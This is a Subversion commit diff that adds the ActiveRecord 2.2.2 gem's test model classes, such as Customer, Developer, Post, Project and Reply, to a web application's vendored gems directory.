+        i.belongs_to :firm, :class_name => 'MyApplication::Business::Firm'
+        i.belongs_to :qualified_billing_firm, :class_name => 'MyApplication::Billing::Firm'
+        i.belongs_to :unqualified_billing_firm, :class_name => 'Firm'
+        i.belongs_to :nested_qualified_billing_firm, :class_name => 'MyApplication::Billing::Nested::Firm'
+        i.belongs_to :nested_unqualified_billing_firm, :class_name => 'Nested::Firm'
+      end
+
+      protected
+        def validate
+          errors.add_on_empty "credit_limit"
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/computer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/computer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/computer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Computer < ActiveRecord::Base
+  belongs_to :developer, :foreign_key=>'developer'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/contact.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/contact.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/contact.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+class Contact < ActiveRecord::Base
+  # mock out self.columns so no pesky db is needed for these tests
+  def self.column(name, sql_type = nil, options = {})
+    @columns ||= []
+    @columns << ActiveRecord::ConnectionAdapters::Column.new(name.to_s, options[:default], sql_type.to_s, options[:null])
+  end
+
+  column :name,        :string
+  column :age,         :integer
+  column :avatar,      :binary
+  column :created_at,  :datetime
+  column :awesome,     :boolean
+  column :preferences, :string
+
+  serialize :preferences
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/course.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/course.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/course.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Course < ActiveRecord::Base
+  has_many :entrants
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/customer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/customer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/customer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,73 @@
+class Customer < ActiveRecord::Base
+  composed_of :address, :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ], :allow_nil => true
+  composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
+  composed_of :gps_location, :allow_nil => true
+  composed_of :fullname, :mapping => %w(name to_s), :constructor => Proc.new { |name| Fullname.parse(name) }, :converter => :parse
+end
+
+class Address
+  attr_reader :street, :city, :country
+
+  def initialize(street, city, country)
+    @street, @city, @country = street, city, country
+  end
+
+  def close_to?(other_address)
+    city == other_address.city && country == other_address.country
+  end
+
+  def ==(other)
+    other.is_a?(self.class) && other.street == street && other.city == city && other.country == country
+  end
+end
+
+class Money
+  attr_reader :amount, :currency
+
+  EXCHANGE_RATES = { "USD_TO_DKK" => 6, "DKK_TO_USD" => 0.6 }
+
+  def initialize(amount, currency = "USD")
+    @amount, @currency = amount, currency
+  end
+
+  def exchange_to(other_currency)
+    Money.new((amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor, other_currency)
+  end
+end
+
+class GpsLocation
+  attr_reader :gps_location
+
+  def initialize(gps_location)
+    @gps_location = gps_location
+  end
+
+  def latitude
+    gps_location.split("x").first
+  end
+
+  def longitude
+    gps_location.split("x").last
+  end
+
+  def ==(other)
+    self.latitude == other.latitude && self.longitude == other.longitude
+  end
+end
+
+class Fullname
+  attr_reader :first, :last
+
+  def self.parse(str)
+    return nil unless str
+    new(*str.to_s.split)
+  end
+
+  def initialize(first, last = nil)
+    @first, @last = first, last
+  end
+
+  def to_s
+    "#{first} #{last.upcase}"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/default.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/default.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/default.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+class Default < ActiveRecord::Base
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/developer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/developer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/developer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,79 @@
+module DeveloperProjectsAssociationExtension
+  def find_most_recent
+    find(:first, :order => "id DESC")
+  end
+end
+
+module DeveloperProjectsAssociationExtension2
+  def find_least_recent
+    find(:first, :order => "id ASC")
+  end
+end
+
+class Developer < ActiveRecord::Base
+  has_and_belongs_to_many :projects do
+    def find_most_recent
+      find(:first, :order => "id DESC")
+    end
+  end
+
+  has_and_belongs_to_many :projects_extended_by_name,
+      :class_name => "Project",
+      :join_table => "developers_projects",
+      :association_foreign_key => "project_id",
+      :extend => DeveloperProjectsAssociationExtension
+
+  has_and_belongs_to_many :projects_extended_by_name_twice,
+      :class_name => "Project",
+      :join_table => "developers_projects",
+      :association_foreign_key => "project_id",
+      :extend => [DeveloperProjectsAssociationExtension, DeveloperProjectsAssociationExtension2]
+
+  has_and_belongs_to_many :projects_extended_by_name_and_block,
+      :class_name => "Project",
+      :join_table => "developers_projects",
+      :association_foreign_key => "project_id",
+      :extend => DeveloperProjectsAssociationExtension do
+        def find_least_recent
+          find(:first, :order => "id ASC")
+        end
+      end
+
+  has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
+
+  has_many :audit_logs
+
+  named_scope :jamises, :conditions => {:name => 'Jamis'}
+
+  validates_inclusion_of :salary, :in => 50000..200000
+  validates_length_of    :name, :within => 3..20
+
+  before_create do |developer|
+    developer.audit_logs.build :message => "Computer created"
+  end
+
+  def log=(message)
+    audit_logs.build :message => message
+  end
+end
+
+class AuditLog < ActiveRecord::Base
+  belongs_to :developer, :validate => true
+  belongs_to :unvalidated_developer, :class_name => 'Developer'
+end
+
+DeveloperSalary = Struct.new(:amount)
+class DeveloperWithAggregate < ActiveRecord::Base
+  self.table_name = 'developers'
+  composed_of :salary, :class_name => 'DeveloperSalary', :mapping => [%w(salary amount)]
+end
+
+class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
+  self.table_name = 'developers'
+  has_and_belongs_to_many :projects, :join_table => 'developers_projects', :foreign_key => 'developer_id'
+  before_destroy :raise_if_projects_empty!
+
+  def raise_if_projects_empty!
+    raise if projects.empty?
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/edge.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/edge.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/edge.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+# This class models an edge in a directed graph.
+class Edge < ActiveRecord::Base
+  belongs_to :source, :class_name => 'Vertex', :foreign_key => 'source_id'
+  belongs_to :sink,   :class_name => 'Vertex', :foreign_key => 'sink_id'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/entrant.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/entrant.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/entrant.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Entrant < ActiveRecord::Base
+  belongs_to :course
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/guid.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/guid.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/guid.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+class Guid < ActiveRecord::Base
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/item.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/item.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/item.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+class AbstractItem < ActiveRecord::Base
+  self.abstract_class = true
+  has_one :tagging, :as => :taggable
+end
+
+class Item < AbstractItem
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/job.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/job.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/job.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class Job < ActiveRecord::Base
+  has_many :references
+  has_many :people, :through => :references
+  belongs_to :ideal_reference, :class_name => 'Reference'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/joke.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/joke.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/joke.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Joke < ActiveRecord::Base
+  set_table_name 'funny_jokes'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/keyboard.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/keyboard.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/keyboard.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Keyboard < ActiveRecord::Base
+  set_primary_key 'key_number'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/legacy_thing.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/legacy_thing.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/legacy_thing.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class LegacyThing < ActiveRecord::Base
+  set_locking_column :version
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/matey.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/matey.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/matey.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Matey < ActiveRecord::Base
+  belongs_to :pirate
+  belongs_to :target, :class_name => 'Pirate'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/member.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/member.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/member.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+class Member < ActiveRecord::Base
+  has_one :current_membership
+  has_many :memberships
+  has_many :fellow_members, :through => :club, :source => :members
+  has_one :club, :through => :current_membership
+  has_one :favourite_club, :through => :memberships, :conditions => ["memberships.favourite = ?", true], :source => :club
+  has_one :sponsor, :as => :sponsorable
+  has_one :sponsor_club, :through => :sponsor
+  has_one :member_detail
+  has_one :organization, :through => :member_detail
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/member_detail.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/member_detail.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/member_detail.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class MemberDetail < ActiveRecord::Base
+  belongs_to :member
+  belongs_to :organization
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/membership.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/membership.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/membership.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class Membership < ActiveRecord::Base
+  belongs_to :member
+  belongs_to :club
+end
+
+class CurrentMembership < Membership
+  belongs_to :member
+  belongs_to :club
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/minimalistic.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/minimalistic.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/minimalistic.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+class Minimalistic < ActiveRecord::Base
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/mixed_case_monkey.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/mixed_case_monkey.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/mixed_case_monkey.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class MixedCaseMonkey < ActiveRecord::Base
+  set_primary_key 'monkeyID'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/movie.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/movie.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/movie.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class Movie < ActiveRecord::Base
+  def self.primary_key
+    "movieid"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/order.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/order.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/order.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Order < ActiveRecord::Base
+  belongs_to :billing, :class_name => 'Customer', :foreign_key => 'billing_customer_id'
+  belongs_to :shipping, :class_name => 'Customer', :foreign_key => 'shipping_customer_id'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/organization.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/organization.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/organization.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Organization < ActiveRecord::Base
+  has_many :member_details
+  has_many :members, :through => :member_details
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/owner.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/owner.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/owner.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Owner < ActiveRecord::Base
+  set_primary_key :owner_id
+  has_many :pets
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/parrot.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/parrot.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/parrot.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+class Parrot < ActiveRecord::Base
+  set_inheritance_column :parrot_sti_class
+  has_and_belongs_to_many :pirates
+  has_and_belongs_to_many :treasures
+  has_many :loots, :as => :looter
+  alias_attribute :title, :name
+end
+
+class LiveParrot < Parrot
+end
+
+class DeadParrot < Parrot
+  belongs_to :killer, :class_name => 'Pirate'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/person.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/person.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/person.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+class Person < ActiveRecord::Base
+  has_many :readers
+  has_many :posts, :through => :readers
+  has_many :posts_with_no_comments, :through => :readers, :source => :post, :include => :comments, :conditions => 'comments.id is null'
+
+  has_many :references
+  has_many :jobs, :through => :references
+  has_one :favourite_reference, :class_name => 'Reference', :conditions => ['favourite=?', true]
+  has_many :posts_with_comments_sorted_by_comment_id, :through => :readers, :source => :post, :include => :comments, :order => 'comments.id'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/pet.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/pet.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/pet.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Pet < ActiveRecord::Base
+  set_primary_key :pet_id
+  belongs_to :owner
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/pirate.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/pirate.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/pirate.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class Pirate < ActiveRecord::Base
+  belongs_to :parrot
+  has_and_belongs_to_many :parrots
+  has_many :treasures, :as => :looter
+
+  has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
+
+  validates_presence_of :catchphrase
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/post.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/post.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/post.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,88 @@
+class Post < ActiveRecord::Base
+  named_scope :containing_the_letter_a, :conditions => "body LIKE '%a%'"
+  named_scope :with_authors_at_address, lambda { |address| {
+      :conditions => [ 'authors.author_address_id = ?', address.id ],
+      :joins => 'JOIN authors ON authors.id = posts.author_id'
+    }
+  }
+
+  belongs_to :author do
+    def greeting
+      "hello"
+    end
+  end
+
+  belongs_to :author_with_posts, :class_name => "Author", :foreign_key => :author_id, :include => :posts
+  belongs_to :author_with_address, :class_name => "Author", :foreign_key => :author_id, :include => :author_address
+
+  has_one :last_comment, :class_name => 'Comment', :order => 'id desc'
+
+  has_many   :comments, :order => "body" do
+    def find_most_recent
+      find(:first, :order => "id DESC")
+    end
+  end
+
+  has_many :author_favorites, :through => :author
+
+  has_many :comments_with_interpolated_conditions, :class_name => 'Comment',
+      :conditions => ['#{"#{aliased_table_name}." rescue ""}body = ?', 'Thank you for the welcome']
+
+  has_one  :very_special_comment
+  has_one  :very_special_comment_with_post, :class_name => "VerySpecialComment", :include => :post
+  has_many :special_comments
+  has_many :nonexistant_comments, :class_name => 'Comment', :conditions => 'comments.id < 0'
+
+  has_and_belongs_to_many :categories
+  has_and_belongs_to_many :special_categories, :join_table => "categories_posts", :association_foreign_key => 'category_id'
+
+  has_many :taggings, :as => :taggable
+  has_many :tags, :through => :taggings do
+    def add_joins_and_select
+      find :all, :select => 'tags.*, authors.id as author_id', :include => false,
+        :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
+    end
+  end
+
+  has_many :funky_tags, :through => :taggings, :source => :tag
+  has_many :super_tags, :through => :taggings
+  has_one :tagging, :as => :taggable
+
+  has_many :invalid_taggings, :as => :taggable, :class_name => "Tagging", :conditions => 'taggings.id < 0'
+  has_many :invalid_tags, :through => :invalid_taggings, :source => :tag
+
+  has_many :categorizations, :foreign_key => :category_id
+  has_many :authors, :through => :categorizations
+
+  has_many :readers
+  has_many :people, :through => :readers
+  has_many :people_with_callbacks, :source=>:person, :through => :readers,
+              :before_add    => lambda {|owner, reader| log(:added,   :before, reader.first_name) },
+              :after_add     => lambda {|owner, reader| log(:added,   :after,  reader.first_name) },
+              :before_remove => lambda {|owner, reader| log(:removed, :before, reader.first_name) },
+              :after_remove  => lambda {|owner, reader| log(:removed, :after,  reader.first_name) }
+
+  def self.reset_log
+    @log = []
+  end
+  
+  def self.log(message=nil, side=nil, new_record=nil)
+    return @log if message.nil?
+    @log << [message, side, new_record]
+  end
+
+  def self.what_are_you
+    'a post...'
+  end
+end
+
+class SpecialPost < Post; end
+
+class StiPost < Post
+  self.abstract_class = true
+  has_one :special_comment, :class_name => "SpecialComment"
+end
+
+class SubStiPost < StiPost
+  self.table_name = Post.table_name
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/price_estimate.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/price_estimate.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/price_estimate.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class PriceEstimate < ActiveRecord::Base
+  belongs_to :estimate_of, :polymorphic => true
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/project.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/project.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/project.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+class Project < ActiveRecord::Base
+  has_and_belongs_to_many :developers, :uniq => true, :order => 'developers.name desc, developers.id desc'
+  has_and_belongs_to_many :readonly_developers, :class_name => "Developer", :readonly => true
+  has_and_belongs_to_many :selected_developers, :class_name => "Developer", :select => "developers.*", :uniq => true
+  has_and_belongs_to_many :non_unique_developers, :order => 'developers.name desc, developers.id desc', :class_name => 'Developer'
+  has_and_belongs_to_many :limited_developers, :class_name => "Developer", :limit => 1
+  has_and_belongs_to_many :developers_named_david, :class_name => "Developer", :conditions => "name = 'David'", :uniq => true
+  has_and_belongs_to_many :developers_named_david_with_hash_conditions, :class_name => "Developer", :conditions => { :name => 'David' }, :uniq => true
+  has_and_belongs_to_many :salaried_developers, :class_name => "Developer", :conditions => "salary > 0"
+  has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => 'SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id'
+  has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => "DELETE FROM developers_projects WHERE project_id = \#{id} AND developer_id = \#{record.id}"
+  has_and_belongs_to_many :developers_with_callbacks, :class_name => "Developer", :before_add => Proc.new {|o, r| o.developers_log << "before_adding#{r.id || '<new>'}"},
+                            :after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
+                            :before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
+                            :after_remove => Proc.new {|o, r| o.developers_log << "after_removing#{r.id}"}
+
+  attr_accessor :developers_log
+
+  def after_initialize
+    @developers_log = []
+  end
+
+end
+
+class SpecialProject < Project
+  def hello_world
+    "hello there!"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reader.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reader.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reader.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Reader < ActiveRecord::Base
+  belongs_to :post
+  belongs_to :person
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reference.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reference.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reference.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Reference < ActiveRecord::Base
+  belongs_to :person
+  belongs_to :job
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reply.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reply.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/reply.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+require 'models/topic'
+
+class Reply < Topic
+  named_scope :base
+
+  belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
+  has_many :replies, :class_name => "SillyReply", :dependent => :destroy, :foreign_key => "parent_id"
+
+  validate :errors_on_empty_content
+  validate_on_create :title_is_wrong_create
+
+  attr_accessible :title, :author_name, :author_email_address, :written_on, :content, :last_read
+
+  def validate
+    errors.add("title", "Empty")   unless attribute_present? "title"
+  end
+
+  def errors_on_empty_content
+    errors.add("content", "Empty") unless attribute_present? "content"
+  end
+
+  def validate_on_create
+    if attribute_present?("title") && attribute_present?("content") && content == "Mismatch"
+      errors.add("title", "is Content Mismatch")
+    end
+  end
+
+  def title_is_wrong_create
+    errors.add("title", "is Wrong Create") if attribute_present?("title") && title == "Wrong Create"
+  end
+
+  def validate_on_update
+    errors.add("title", "is Wrong Update") if attribute_present?("title") && title == "Wrong Update"
+  end
+end
+
+class SillyReply < Reply
+  belongs_to :reply, :foreign_key => "parent_id", :counter_cache => :replies_count
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/ship.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/ship.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/ship.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Ship < ActiveRecord::Base
+  self.record_timestamps = false
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/sponsor.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/sponsor.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/sponsor.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Sponsor < ActiveRecord::Base
+  belongs_to :sponsor_club, :class_name => "Club", :foreign_key => "club_id"
+  belongs_to :sponsorable, :polymorphic => true
+end
\ No newline at end of file

